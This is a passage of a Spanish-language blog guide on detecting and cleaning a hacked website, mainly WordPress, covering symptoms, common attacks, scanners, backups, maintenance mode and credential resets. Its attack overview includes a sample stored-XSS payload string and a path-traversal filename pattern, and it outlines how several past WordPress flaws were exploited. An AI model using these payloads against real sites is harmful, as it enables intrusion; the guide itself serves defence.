La última cosa que quiere que suceda es despertarse una mañana para descubrir que no tiene acceso a su propio sitio, pero no debe entrar en pánico si su web fue hackeado. Sigue todas estas recomendaciones y podrás solucionar el problema. Si tu nivel de conocimientos es básico, es mejor que te apoyes en tu desarrollador o en alguien más avanzado. Inclusive tu proveedor de hosting estará encantado en orientarte para que puedas salir del aprieto. He creado esta extensa guía que cubrirá los síntomas, las técnicas de detección y el proceso de eliminación de un ataque a su sitio web.
Esta guía también cubre posibles causas y tipos de ataques. Muchos ejemplo se explicarán en WordPress, salvando las distancias, el procedimiento es igual de valido para otro CMS o sitio web en general. Escapa a los casos prácticos de este articulo dar una ejemplo para cada caso posible. Espero que esta guia pueda ayudarte a limpiar y recuperar tu web si ha sido hackeado o infectado, si tienes alguna duda puedes dejarla abajo en la sección de comentarios, o si lo prefieres, contratar nuestro servicio de recuperación de webs hackeadas. Una vez recuperada considere seriamente adquirir un plan de seguridad. En este plan se abordarán la protección básica y fundamental pero dispone de planes avanzados con los cuales podrá ir escalando y adaptarlos al tamaño de su empresa.
Señales de un sitio web hackeado
Empecemos por aclarar si el problema es un hackeo. Tal vez sea una infección de malware a causa de plugin o una corrupción en la base de datos. De todas formas, te ayudaremos a recuperarlo. Si bien cosas como el defacement de un sitio son indicaciones claras de un sitio hackeado, otros signos pueden ser sutiles. Estos pueden pasar desapercibidos para los usuarios promedio. No siempre es fácil diagnosticar un sitio web hackeado. Comprueba los siguientes signos para entender si tu sitio ha sido hackeado:
- Hay contenido y diseño que no has subido.
- La página web redirige a los usuarios
- El Sitio envía correos electrónicos de spam.
- Aparecen advertencias de bloqueo del navegador al visitar tu sitio.
- Los registros del servidor detectan actividades inusuales y visitas desde lugares desconocidos.
- Se ha añadido un nuevo miembro con derechos de administrador sin tu consentimiento.
- Tu plugin de seguridad te avisa de una posible brecha.
- Recibís mensajes de advertencia sobre la suspensión de la cuenta de su proveedor de alojamiento.
- Una búsqueda en Google muestra la temida advertencia de Google debajo del nombre de su sitio web.
- Si no puede iniciar sesión en su sitio web, es posible que el hacker haya cambiado la configuración y lo haya expulsado. Sin embargo, verifique que esté utilizando el nombre de usuario y contraseña correctos.
- Los bloqueadores de anuncios están bloqueando su sitio.
- Aparecen ventanas emergentes desconocidas y anuncios maliciosos en el sitio.
- Hay trabajos sospechosos de Cron en espera de ser ejecutados en el servidor o actividad sospechosa en los registros del servidor .
- Algunos caracteres de aspecto chino aparecen en el sitio.
- El sitio web muestra algunos mensajes de error inesperados y se vuelve lento / no responde .
- No hay mucho tráfico en el sitio, pero el servidor siempre consume grandes recursos de procesamiento.
- Nuevos archivos desconocidos en los directorios wp-admin y wp-includes . Ambos directorios rara vez tienen nuevos archivos agregados.
- Los archivos de tema, encabezado y pie de página se han modificado para crear redireccionamientos.
- Los resultados de búsqueda muestran una meta descripción incorrecta de su sitio.
- Enlaces maliciosos en archivos principales.
- Aparecen popups que no hemos añadido nosotros.
- Aparecen textos raros en el pie de página.
- El contenido de nuestra web incluye enlaces sospechosos que estamos seguros de no haber añadido nosotros y que apuntan a páginas de extraña reputación.
- Si echamos un vistazo al código fuente (y estábamos familiarizados con el aspecto que debería tener una instalación limpia), vemos que aparecen scripts ofuscados cuyo origen desconocemos.
- Cuando accedemos a la web, ésta nos redirecciona enseguida (o al cabo de un ratito) a otra web.
- Vemos picos inusuales en el tráfico de ancho de banda.
Cómo se hackea un sitio web
A continuación, se presentan algunos de los ciberataques más comunes que pueden aprovecharse de las vulnerabilidades de seguridad:
- Puertas traseras: malware que anula los procedimientos de autenticación para acceder a los archivos principales de WordPress.
- Ataques de fuerza bruta: un método de hacking que utiliza la estrategia de ensayo y error para adivinar las credenciales de acceso.
- Cross-Site Scripting (XSS): un ataque de inyección de código que ejecuta scripts maliciosos en el código de un sitio web. WordPress versión 5.1.1 y las anteriores se encontraron vulnerables a una vulnerabilidad XSS, CSRF y RCE. Esta era una vulnerabilidad XSS almacenada. La función wp_filter_kses () que se utiliza para desinfectar comentarios, permite etiquetas HTML básicas y atributos como la etiqueta <a> combinada con el atributo ‘ href ‘. Por lo tanto, los atacantes pueden entregar cargas maliciosas como <a title=’XSS “onmouseover=evilCode() id=”‘> . Esto se almacenaría en la base de datos y se ejecutaría cada vez que un usuario visitara esta página.
- Redirecciones maliciosas: una puerta trasera que redirige a los visitantes de tu sitio web a un sitio web sospechoso.
- Hackeos farmacéuticos: un ataque de spam SEO que infecta tu sitio web con contenido malicioso. Como resultado, tu sitio web comenzará a posicionarse para estas palabras clave de spam, dañando la reputación de tu marca.
- Denegación de servicio (DoS): un ataque diseñado para cerrar un sitio web o una red abrumando el sistema objetivo con peticiones.
- Falsificación de solicitudes entre sitios de WordPress: El token de validación CSRF no se ha implementado en WordPress y con razón, porque si se hace, obstaculizaría las características de trackbacks y pingbacks de WordPress. Para diferenciar a los usuarios normales de los administradores, WordPress utiliza un nonce adicional para la validación del administrador en los formularios de comentarios. Entonces, si se proporciona el nonce correcto, el comentario se crea sin desinfección. Y si el nonce es incorrecto, el comentario se crea con desinfección. Entonces, cuando un administrador no puede proporcionar nonce, el comentario se desinfecta utilizando wp_filter_post_kses () en lugar de la función wp_filter_kses () . Por lo tanto, la función wp_filter_post_kses () permite a un atacante crear comentarios con muchas más etiquetas y atributos HTML que los permitidos, lo que lleva a cabo un ataque CSRF.
- Ejecución remota de código de WordPress: Las versiones de WordPress anteriores a 4.9.9 y 5.x anteriores a 5.0.1 se encontraron propensas a RCE. El parámetro vulnerable era la meta entrada de la función _wp_attached_file () . Este parámetro podría ser manipulado a una cadena de elección, es decir, terminando con .jpg? subcadena file.php. Sin embargo, para explotar esto, el atacante necesitaba privilegios de autor. El atacante con privilegios de autor podría cargar una imagen especialmente diseñada. Esta imagen contenía el código PHP a ejecutar, incrustado en los metadatos Exif. ¡Las secuencias de comandos para aprovechar esta vulnerabilidad están disponibles públicamente y también se ha lanzado un módulo Metasploit!
- Path traversal and a local file inclusion: WordPress 5.0.3 era vulnerable a los ataques de Path Traversal. Para explotar esto, el atacante necesitaba al menos privilegios de autor en el sitio objetivo de WordPress. Los componentes vulnerables fueron la función wp_crop_image () . Entonces, el usuario que ejecuta esta función (puede recortar una imagen) podría enviar la imagen a un directorio arbitrario. Además, el nombre del archivo podría agregarse con el símbolo de directorio arriba, es decir ‘ ../ ‘ para obtener la ruta del archivo que un atacante desea obtener, es decir .jpg? /../../ file.jpg. ¡Los módulos de exploits y Metasploit para replicar esta vulnerabilidad están disponibles en línea!
- Complementos o temas Buggy: También es probable que un complemento mal codificado sea responsable de que WordPress sea hackeado. Los temas de autores no reputados a menudo contienen código con errores. En algunos casos, los propios atacantes lanzan plugins y temas cargados de malware para comprometer numerosos sitios. Además, un software obsoleto de WordPress puede hacer que el sitio sea vulnerable, lo que lleva a hackear WordPress.
Ataques de inyección SQL
Hablare de este caso en particular por lo extenso, complejo y común que resulta. Un método de hacking que implica la inyección de código que se dirige a solicitudes SQL vulnerables. WordPress versión 4.8.3 y versiones anteriores se encontraron vulnerables a los ataques de inyección SQL. Irónicamente, el método $ wpdb-> prepare () , que generalmente se usa para preparar consultas seguras, fue vulnerable esta vez. Esto significaba que los complementos y temas que usaban consultas creadas con esta función también eran potencialmente vulnerables a un ataque SQLi. Del mismo modo, el complemento WP Statistics de WordPress con más de 3,000,000 de descargas era vulnerable a SQLi. Típicamente, un atacante puede leer tablas sensibles como wp_users de su sitio de WordPress usando SQLi. Aunque las contraseñas se almacenan en formato cifrado, aún se pueden usar herramientas para descifrar. Esto significa obtener credenciales de administrador para iniciar sesión en la cuenta de un administrador en WordPress. En el peor de los casos, el atacante puede incluso cargar un shell inverso utilizando un SQLi que conduce a un sitio hackeado de WordPress.
Una inyección de código consiste en cadenas de código que se añaden a archivos ya existentes de tu WordPress que tienen permisos de ejecución y de escritura. Esto permite que el atacante pueda leer toda la información que contienen esos archivos, modificarlos y ejecutarlos a su antojo. Por ejemplo, una de las órdenes que puede tener el código inyectado es ocultarse ante los robots de rastreo para que el dueño de la web no sea alertado de su presencia. Otros hacen que la web redirija a otro dominio distinto desde donde distribuye el malware mediante spam. Además de en archivos y bases de datos, el malware puede entrar en tu WordPress a través de la inyección de código malicioso insertado en un JavaScript. También es posible que llegue en inyecciones de SQL que atacan directamente tu base de datos y cuyo objetivo es el robo de datos e información a través de los formularios y de la petición de nombre de usuario y contraseña.
Las inyecciones de código PHP afectan a los archivos con esta extensión y son especialmente peligrosas ya que el hacker podrá saber los cambios que realizas en tu web. Es más, incluso si tu primera acción es cambiar la contraseña sabrá cuál es desde el primer momento. Las inyecciones en archivos PHP suelen dejar una puerta trasera abierta o «backdoor» a través de la cual el hacker tiene acceso a toda tu web sin que tú mismo seas consciente de ello. Por ello, será conocedor de todo lo que hagas. Las inyecciones de código más populares son las de tipo eval64 y su objetivo principal es el envío de spam más que perjudicar en sí un sitio web o robar información. Estas inyecciones provocan problemas con el correo electrónico asociado al dominio ya que será utilizado por el hacker para enviar spam.
Razones por las que un sitio web es hackeado
Quizás te preguntes por qué tu sitio web ha sido hackeado. Aquí están las tres principales razones por las que los ciberdelincuentes podrían ver tu sitio web como un objetivo principal para sus ataques cibernéticos.
- Credenciales de inicio de sesión inseguras: El 8% de los sitios web infectados tienen contraseñas débiles, como «12345», «picture1» y «password». Además, cambie su nombre de usuario predeterminado a algo único. Palabras como administrador , su propio nombre , el nombre del sitio web son demasiado fáciles de descifrar para el atacante. Si bien una contraseña fuerte no garantiza la inmunidad contra el hackeo, las credenciales de inicio de sesión seguras añaden otra capa de seguridad a tu sitio web y a tu información personal.
Asegúrese de no utilizar contraseñas débiles para lo siguiente:
- panel wp-admin
- panel de alojamiento del servidor
- bases de datos
- Cuentas FTP
- Su cuenta de correo electrónico principal.
- Software obsoleto: Los archivos principales, los plugins y los temas desactualizados son una de las causas más comunes de los sitios web hackeados. Mantener las instalaciones al día es esencial, ya que las actualizaciones de software vienen con parches de seguridad que solucionan las vulnerabilidades de la versión anterior. Sin actualizaciones, los hackers pueden aprovechar esas vulnerabilidades para acceder a tu sitio web.
- Código deficiente del sitio web: Los plugins y temas de baja calidad suelen tener un código deficiente, lo que introduce vulnerabilidades en tu sitio web. Por lo tanto, te recomendamos que adquieras tus temas y plugins en los repositorios oficiales o en marketplaces de confianza que ofrezcan actualizaciones periódicas y soporte técnico.
- Hospedaje en un servidor compartido: Un servidor compartido puede ser la opción más barata. Pero, tiene efectos secundarios más costosos si se piratea. Mueva su sitio web a un alojamiento más seguro. Y elija un proveedor de alojamiento confiable. Asegúrese de verificar si su proveedor cumple con los mejores estándares de seguridad.
- Permisos de archivo incorrectos: Los permisos de archivo sencillos pueden permitir a los atacantes acceder a ellos, modificarlos o eliminarlos.
¿Cómo saber qué tipo de infección o hackeo es?
Esto puedes hacerlo utilizando herramientas de escaneo, que pueden localizar códigos maliciosos. Servicios online de detección de vulnerabilidades, hackeos y malware que puedes utilizar son los siguientes:
sucuri.net
Sucuri es un antivirus que ofrece una versión gratuita y otra de pago, capaz de proteger la integridad de los datos de tu sitio web de ataques de programas maliciosos y de atacantes. La versión gratuita ofrece:
- Identifica el malware y los problemas de seguridad.
- Elabora un reporte detallado de las posibles amenazas.
La versión pago ofrece:
- Limpia la página de malware. Es decir, elimina cualquier programa que represente una amenaza para tu blog.
- Brinda lista negra de ips. Este aspecto es muy importante, contiene una base de datos de direcciones IP que han sido detectadas por las empresas de Internet como correo spam.
- Monitorea la página web. Ofrece a los usuarios protección las 24 horas del día, además, frecuentemente realiza verificaciones del tráfico que se dirige hacia tu sitio web.
- Protección contra ataques de fuerza bruta/DDos. Considero que es una de sus fortalezas, es capaz de proteger tu espacio digital de múltiples ataques generados por varias computadoras.
Mozilla Observatory
Analiza la seguridad de tu web en su conjunto, ofreciendo detalles de vulnerabilidades y oportunidades.
Navegación segura de Google
Herramienta de Google para comprobar si tu web tiene contenido no seguro. verificar los escaneos que Google hizo de tu Web, para ver qué ficheros maliciosos detectó. Siempre debes revisar los archivos de registro (logs) del servidor, pidiendo acceso a los mismos si fuera necesario a tu empresa de hosting, para analizar posibles accesos no reconocidos, modificaciones de archivos, conexiones a URLs desconocidas y sospechosas, etc. Esta puede ser una fantástica fuente de detección del origen del hackeo.
Quttera
Una página más con la que poder analizar sitios web en Internet. En la barra pondremos la dirección que nos interesa y le damos a Scan for malware, para que comience el proceso.
Metadefender:
Es una aplicación en línea de uso freemium, permite inspeccionar los archivos de tu interés, para ello, emplea una plataforma con 40 motores diferentes para ejecutar el estudio. Con el plus que el programa no requiere registro, en consecuencia, simplemente debes ejecutar el diagnóstico. Es importante tener en cuenta que los datos generados del análisis pueden ser entregados a empresas para estudios posteriores. El antivirus ofrece lo siguiente:
- Analiza cualquier tipo de archivo con un máximo de 410 MB.
- Revisa las direcciones IP para identificar posibles ataques o programas maliciosos.
- Posee un conjunto de herramientas para complementar los análisis sobre las posibles vulnerabilidades de tu página web.
- Elabora un informe detallado del estado de tus archivos, incluso puedes descargarlo.
Ahora bien, si quieres ampliar la experiencia, la compañía ofrece tres planes empresariales de pago:
- API de análisis.
- API de prevención.
- API de reputación.
Por ejemplo, el plan API reputación brinda escaneo de múltiples direcciones IP, URL y dominios utilizando 8 bases de datos diferentes. Además, permite la interpretación automatizada del comportamiento de los programas, proporcionando datos de posibles amenazas.
VirusTotal
Fue desarrollado con inteligencia artificial, en consecuencia, su algoritmo es capaz de detectar amenazas individuales y múltiples provenientes de la red. El antivirus ofrece lo siguiente:
- Estudia las URL, dominios, direcciones IP para detectar posibles malware, analizando patrones de comportamiento como la comunicación de hosts específicos y metadatos.
- Identifica archivos similares y analiza su estructura para detectar programas ocultos.
- Brinda alertas de detección de intrusos en tiempo real sobre posibles ataques.
- Ofrece mecanismo de firma, es decir, puede comprobar la autenticidad e integridad de los archivos.
- Elabora informe sobre el estado de los archivos, indicando si han sufrido alguna modificación o actualización, conexiones de direcciones IP sospechosas, etc.
ScanURL
Tiene la capacidad de ejecutar un análisis completo para identificar el virus, malware, o phishing.
El plan gratuito permite:
- Análisis del sitio web en tiempo real, simplemente debes colocar la URL de tu blog y esperar el informe detallado de las posibles amenazas.
- Escaneos de más de 5000 páginas entre privadas y públicas para estudiar el comportamiento de las visitas hechas a tu web.
La versión pago ofrece:
- Eliminación de los virus alojados en tu sitio web, si el programa malicioso afectó algunos archivos, es capaz de reparar el mismo.
- Incorpora la inteligencia artificial para detectar ataques en tiempo real de atacantes, bloqueando las direcciones IP. Para páginas web orientadas al comercio electrónico es una opción interesante para detectar sitios web sospechosos de diferentes ubicaciones geográficas.
Inmuniweb
Completo servicio online gratuito de análisis de vulnerabilidades de seguridad, incluyendo específicas de WordPress. comprueba si hay alguna vulnerabilidad en los archivos del núcleo de WordPress, ubicados en las carpetas wp-admin, wp-includes y otras carpetas de la raíz.
Urlvoid
Este servicio lo ayuda a detectar sitios web potencialmente maliciosos y Comprobar la reputación/seguridad en línea de un sitio web .
En resumen, con los antivirus para páginas web tienes un conjunto de aplicaciones al alcance de tu mano para resguardar tu espacio digital. Algunas herramientas son de uso gratuito, pago y freemiums, evidentemente las de pago ofrecen una mejor protección de posibles ataques, malware, spyware, phishing, etc.
Si el sitio web está infectado, entonces
Ahora lo primero de todo es conocer cómo ha afectado el hackeo a nuestro sitio. Esto será super importante cuando pasemos al siguiente paso. Por eso, ve a tu sitio web y anota cualquier información relevante sobre cómo se ha visto afectado. Intenta responder algunas de las siguientes preguntas:
- ¿Google marca tu web como potencialmente peligrosa al intentar acceder a ella?
- ¿Puedes entrar en el backoffice?
- ¿Tu sitio web (o cualquier enlace que hay dentro) está redirigiendo hacia una web de terceros?
- ¿Hay algo en tu sitio web (como nuevos enlaces o anuncios emergentes) que tú no has puesto ahí?
- Qué tipo de Hackeo hemos sufrido
- Desde cuando se hizo.
- Número de URL’s infectadas.
- Número de urls creadas nuevas
- ¿Hay avisos de Search Console por hackeo?
- ¿Hay avisos en Google por posible pirateo?
Tras conocer todos estos detalles deberemos tomar medidas para solucionar el pirateo. Si tenemos un Backup realizado, deberemos realizar una restauración de todos los archivos y ficheros de la web a un punto anterior a cuando se hizo la infección. No lo podremos saber a ciencia cierta, a menos que miremos los logs de servidor. Pero una forma más o menos fiable es a través de la caché de Google. Google cachea nuestra web de forma periódica. Dependiendo de la autoridad que tenga la web el cacheo se realizará más a menudo, o menos. Si Google comprueba al cachearla que ha sido pirateada, no volverá a cachearla.
Esto no es del todo seguro, porque Google puede determinar que la web no ha sido vulnerada y volver a cachearla. Aquí hay que apoyarse en la empresa de hosting para determinar la dimensión y el proceso del hackeo. La forma más o menos fiable de saberlo es a través de Search Console. Deberemos entrar en Cobertura, y ver las páginas indexadas. Luego ver las páginas que están indexadas que no están en Sitemap. Aquí estarán todas las urls que se han creado nuevas.
Luego deberemos entrar en todas las que están indexadas que están en sitemap, y ver las que tienen caracteres “raros”. Otra forma de saberlo es a través footprint en Google. Debamos poner site:dominiohackeado.com (sustituimos dominiohackeado.com por tu dominio). Aquí aparecerán las urls que Google tiene indexadas. (ojo, indexadas no es listadas. Una cosa es que estén en el índice de Google, y otra cosa es que Google la muestre en los resultados). El único problema es que sólo se muestran 300 resultados como mucho.
Haz copia de seguridad de la web hackeada
Este es un paso que mucha gente no realiza y es importantísimo para poder analizar todos los posibles elementos que puedan haber provocado la vulnerabilidad, así como para la revisión exhaustiva de archivos infectados, etc. También, en caso de necesidad, desde esta copia de seguridad, puedes recuperar, tras una revisión exhaustiva de los mismos, algunas configuraciones, imágenes y contenidos que vayas a necesitar, si no dispones de copias de seguridad limpias de tu web. Otra medida que puedes hacer, por si tus contenidos no hubiesen sido comprometidos, es exportar las entradas, páginas, productos, etc. Si usas WordPress, en la sección de administración de Herramientas → Exportar. Así que haz una copia de seguridad de la web WordPress ya infectada y guárdala a buen recaudo, para su análisis posterior.
Asegúrate que no pierdes nada importante en el proceso de limpieza y restauración. A través del FTP o administrador de archivos, descarga los siguientes ficheros a tu equipo (ejemplo con sitio creado con WP):
- Carpeta /wp-content/ completa. Contiene tus temas, plugins, imágenes y vídeos.
- Fichero /wp-config.php. Es donde está la configuración importante de WordPress, como la conexión a la base de datos.
- Fichero /.htaccess (¡de este ya deberías tener una copia del paso #1!).
- Fichero /.robots.txt
- Fichero /favicon.ico, aunque éste suele ir en la carpeta del tema.
Cada uno de estos ficheros son únicos en las instalaciones de WordPress, y son los importantes de conservar.
No nos podemos olvidar de la parte más importante de la instalación. Si tu base de datos se corrompe o borra, habrás perdido todas tus entradas, páginas, comentarios, etc. Para realizar esta copia, tenemos varios métodos. Si usas cPanel, puedes ir a “Respaldos”, y desde allí hacer una copia de la base de datos, que se descargará en tu equipo. Diferentes servicios de alojamiento pueden tener opciones diferentes. La más estándar pero avanzada, sería acceder a la base de datos por phpMyAdmin y realizar una exportación completa. Si has tenido suerte y eres organizado, tendrás ya una copia de seguridad completa de WordPress en la nube realizada recientemente. Te recomiendo tener de todos modos más de una copia, por si acaso.
Dado que el propósito de una copia de seguridad es restaurar el sitio web en caso de un accidente, asegúrese de que sea funcional. Una copia de seguridad que no restaura su sitio web a su estado de funcionamiento completo no es más que un desperdicio. La mayoría de los servicios de alojamiento ofrecen funciones de respaldo. Póngase en contacto con su proveedor de alojamiento para conocer el proceso de copia de seguridad. Además de eso, también puede hacer una copia de seguridad manualmente a través de un cliente SFTP como Filezilla. He enumerado a continuación las diferentes formas en que puede realizar una copia de seguridad de su sitio:
Archivos de respaldo
1. En WordPres use un complemento WordPress también tiene un montón de complementos de copia de seguridad como UpdraftPlus que simplifican el proceso. Puede realizar una copia de seguridad completa de su sitio con archivos y base de datos.
- Instala y activa el complemento.
- Haga una copia de seguridad de su sitio web y almacene localmente o en la nube.
2. Vía SSH Para hacer una copia de seguridad de sus archivos, esto es lo que puede hacer,
- Acceda a su sitio web a través de SSH.
- Y ejecuta el comando – zip -r backup-pre-cleanup.zip
Esto hará un archivo zip de su sitio web que luego podrá descargar en su PC.
3. Vía SFTP
- Acceda a su sitio web a través del cliente SFTP como FileZilla.
- Simplemente haga una carpeta de respaldo en su PC y copie el contenido allí.
Como esto requiere un esfuerzo manual, puede llevar más tiempo que los métodos anteriores.
Base de datos de respaldo
Para hacer una copia de seguridad completa de su base de datos, puede hacer lo siguiente:
1. Copia de seguridad a través de un complemento: Una vez más, puede usar el mismo complemento UpdraftPlus para hacer una copia de seguridad de su base de datos.
2. Copia de seguridad a través de PHPMyAdmin: De lo contrario, puede exportar su base de datos y almacenarla en su PC a través de PHPMyAdmin.
- Acceda a su base de datos de WordPress por PhpMyAdmin.
- Exporte la base de datos completa fácilmente. Almacene esto en la misma carpeta que arriba o haga una diferente de acuerdo a su preferencia.
3. Copia de seguridad a través de SSH
- Acceda a su sitio web a través de SSH.
- Y ejecuta el siguiente comando: mysqldump -p -h hostname -u username database > backup-pre-cleanup.sql
Recuerde cambiar las credenciales (nombre de usuario, contraseñas, nombre de host, etc.) antes de realizar una copia de seguridad de la base de datos. Además, recuerde eliminar la copia del servidor de archivos después de haberla almacenado en local.
Si tienes copia de seguridad, restaura una copia de seguridad limpia
Quien hace un backup de WordPress tiene dos vidas (o tantas vidas como copias de seguridad haya guardado). Hacer copias de seguridad debería de ser parte de tu rutina así como actualizar el contenido y el core, o plugins de WordPress. Si tienes copias de seguridad de tu web es el momento de restaurar una copia de la que estés seguro que no está infectada, para recuperar tu sitio. Solo son 2 sencillos pasos:
- Borra TODA la instalación infectada, al completo.
- Restaura la copia de seguridad limpia.
Si no tienes copia de seguridad, instala todo desde cero
En caso de que no tengas ninguna copia de seguridad que estés totalmente seguro de que está totalmente limpia de infecciones o hackeos, entonces hay que instalar todo desde cero:
- Instala la última versión WordPress segura usando la descarga oficial.
- Instala la última versión segura del tema usando la descarga oficial.
- Instala las últimas versiones seguras de todos los plugins que necesites.
- Si tienes una copia limpia de las imágenes y archivos de la carpeta /uploads/ súbela, pero solo si estás totalmente seguro.
- Si tienes una exportación limpia de entradas, páginas, productos, etc. impórtala (Herramientas → Importar), pero solo si estás seguro de que no tienen nada inyectado.
PONER TU SITIO EN MANTENIMIENTO
No hay forma de poder limpiar un sitio web que está online, mientras nos siguen infectando. Para eso lo mejor es ponerlo en modo mantenimiento, y poder trabajar con los ficheros y base de datos tranquilamente. Sigue los siguientes pasos para poner tu sitio en mantenimiento de una manera amigable para el SEO, y no perder posicionamiento. Vamos a crear un fichero en la raíz de tu carpeta pública del servidor. Normalmente es la misma donde se encuentran las carpetas wp-includes, wp-admin o wp-content. Crea una página Web de “Modo en mantenimiento”, la cual vas a llamar 503.php, y lleva el siguiente código:
<?php
header(“HTTP/1.1 503 Service Temporarily Unavailable”);
header(“Status: 503 Service Temporarily Unavailable”);
header(“Retry-After: 7200″);
?>
<html>
<h1>Esta página web está en mantenimiento, y pronto volveremos a estar online.</h1>
<h2>Por favor, vuelve a visitarnos en un rato.</h2>
</html>
Aquí le dices a los buscadores que estás fuera de servicio temporalmente, para que no te penalice, y que te vuelva a visitar en un par de horas. Entre las etiquetas <html> pones el mensaje que quieras que aparezca a las personas que te visiten. Además si quieres le puedes añadir el código de Google Analytics para saber qué visitas tuvimos durante el “apagón”. Ahora tenemos que modificar el fichero .htaccess. Añade las siguientes líneas al principio del todo:
RewriteEngine on
RewriteCond %{REMOTE_ADDR} !^111\.111\.111\.111
RewriteCond %{REQUEST_URI} !/503.php$ [NC]
RewriteRule .* /503.php [R=302,L]
Con este código en el .htaccess rediriges todo el tráfico de tu web a la página que hemos creado. De esta forma no importa como llegue un visitante a tu web, verá esta página. ¡Y recuerda hacer antes una copia de tu fichero .htaccess! Cuando todo este OK nos hará falta.
Otra opción es crear un archivo llamado index.html, subirlo a la carpeta raíz de tu servidor, y poner un texto de aviso. Aquí te dejo un ejemplo sencillo de lo que podría contener, y que puedes usar si no tienes algo mejor:
<!doctype html>
<title>Web en mantenimento</title>
<style>
body { text-align: center; padding: 150px; }
h1 { font-size: 50px; }
body { font: 20px Helvetica, sans-serif; color: #333; }
article { display: block; text-align: left; width: 650px; margin: 0 auto; }
a { color: #dc8100; text-decoration: none; }
a:hover { color: #333; text-decoration: none; }
</style>
<article>
<h1>¡La web está en mantenimiento - Estaremos pronto de vuelta!</h1>
<div>
<p>Sentimos las molestias, estamos realizando algunas tareas de mantenimiento en la web en este momento. Si necesitas algo de nosotros puedes <a href="mailto:tu@correo.com">contactarnos por email</a>, la web volverá a estar activa pronto</p>
<p>— El equipo</p>
</div>
</article>
Google Webmaster Tools
Google Webmaster Tools es un servicio de Google que nos ayuda a monitorizar y mantener un buen posicionamiento en los resultados de las búsquedas en Google. Para ello, nos da información sobre cualquier problema que los robots de indexación de Google tengan a la hora de acceder a nuestros contenidos. Una de las funcionalidades que incluye es la detección de software malicioso y software no deseado. Otra de las funcionalidades que resulta especialmente útil para el caso que nos ocupa es el reenvío de mensajes al correo electrónico. Activando esta opción puedes estar relativamente tranquilo, puesto que recibirás un correo electrónico tan pronto como Google detecte que tu site ha sido infectado. Si este es el caso, y teniendo en cuenta que Google suele tener una tasa de acierto muy alta, es hora de ponerte en modo alerta roja y seguir los pasos que describimos hoy en esta entrada. Tal y como puedes ver en el enlace anterior, para activar el envío de correos, simplemente:
- haz clic en el icono de rueda dentada que aparece en la página principal de Search Console,
- pulsa en Preferencias y, finalmente,
- en la opción Reenviar mensajes, selecciona la dirección de correo electrónico que quieras utilizar.
CAMBIAR TODAS LAS CONTRASEÑAS
Debes cambiar las contraseñas de acceso a absolutamente todo lo relacionado con tu web, Cree nuevas contraseñas automáticas con la ayuda de una herramienta de administración de contraseñas como LastPass o KeePass para cada una de estas cuentas. La contraseña ideal debería tener al menos 16 caracteres, incluyendo letras, números y símbolos. También recomendamos activar la autenticación de dos factores y limitar los intentos de inicio de sesión para añadir capas adicionales de protección a tus credenciales de inicio de sesión. Comprueba que usuarios tienen privilegios de administrador pero no los reconoces. ¡No deben ser muchos! Los que encuentres, elimínalos. y una lista exhaustiva, pero quizás no completa, sería la siguiente:
- Comprueba que usuarios tienen privilegios de administrador pero no los reconoces. ¡No deben ser muchos! Los que encuentres, elimínalos.
- Contraseñas de acceso de usuarios SQL a TODAS las bases de datos, incluso de las – a priori – no infectadas. Más seguro aún es borrar los usuarios SQL actuales y crear todos nuevos, con contraseñas nuevas.
- Contraseñas y usuarios de acceso FTP y SFTP. Borra TODOS los accesos actuales y crea nuevos, solo los exclusivamente necesarios.
- Contraseñas de acceso a WordPress de TODOS los usuarios. No es suficiente con enviar un correo electrónico para que las cambien, fuerza el cambio o cámbialas todas en masa.
- Contraseñas de correo electrónico de TODOS los usuarios.
- Contraseñas de acceso a servicios que interactúen con tu web, como CDN, cuentas de WordPress.com, GMail, licencias de plugins y temas, servicios de newsletter, etc.
Recuerda que las contraseñas no deben de ser guardadas en tu navegador ni anotadas en archivos sueltos dentro de tu dispositivo. Cuando generes una contraseña utiliza caracteres alfanuméricos, caracteres especiales y mayúsculas. Usa tu imaginación. En todo login donde puedas, intenta activar el segundo factor de autenticación. Esto es súper útil para que, si roban tus contraseñas o si caen en manos incorrectas, no puedan acceder a tu cuenta salvo que pasen por este paso. Si perdiste el acceso al panel de admin de tu WordPress a causa de que la contraseña fue cambiada por alguien más, podrías recuperarla fácilmente desde el enlace “olvidé contraseña”, pero si el profile de tu cuenta WordPress fue modificado por quien tiene el control ahora, sólo dispararías una alerta al correo que haya configurado el impostor.
Lo mejor es recuperar el acceso por sorpresa. Todo proveedor de hosting tiene en su panel de control a phpMyAdmin: un panel para gestionar las bases de datos de tu sitio; y como WordPress almacena absolutamente todo en la base de datos, podes cambiar de manera forzada la contraseña. En caso de que no puedas acceder a tu panel de control cPanel (o al panel de control proporcionado por tu proveedor de hosting), entonces estamos un poco más complicados, y puede que toda tu cuenta de hosting esté comprometida (inclusive la parte de billing). Si esto es lo que te ocurre, es crucial que te contactes con tu prestador a fin de que haga una revisión general y te genere nuevas credenciales de acceso.
CAMBIAR LAS CLAVES DE AUTENTIFICACIÓN DE WORDPRESS (KEYS Y SALTS)
WordPress usa diferentes claves de autentificación en WordPress para encriptar la información almacenada en las cookies de sesión, y así hacer tu sitio web más difícil de hackear. Además al cambiarlas, vamos a invalidar cualquier sesión que ya esté abierta, dejando sin acceso a nuestro escritorio de WordPress a los “chicos malos”. Así que el siguiente paso es asegurarnos de que las usas, y si es que sí, cambiarlas. Entre las “keys” y las Salts” tenemos un total de 8 claves. ¡Pero no te preocupes que no las tienes que recordar! Simplemente no las compartas nunca.
Puedes generar unas nuevas usando el generador oficial de claves de WordPress. Aprovecha que tienes abierto wp-config.php para localizar dónde van estas claves, y sustitúyelas por las nuevas generadas. Cuando cambias la contraseña de la base de datos desde tu panel de control, también debes cambiarla inmediatamente en el fichero wp-config.php, para que después no tengas problemas. Abre el fichero wp-config.php mediante FTP o el administrador de ficheros, y localiza la sección donde se configura la base de datos:
/* The name of the database for WordPress */
define(‘DB_NAME’, ‘putyourdbnamehere’);
/* MySQL database username /
define(‘DB_USER’, ‘usernamehere’);
/* MySQL database password /
define(‘DB_PASSWORD’, ‘yourpasswordhere’); <=Actualiza tu contraseña aquí.
/* MySQL hostname */
define(‘DB_HOST’, ‘localhost’);
Desactivar plugins y temas
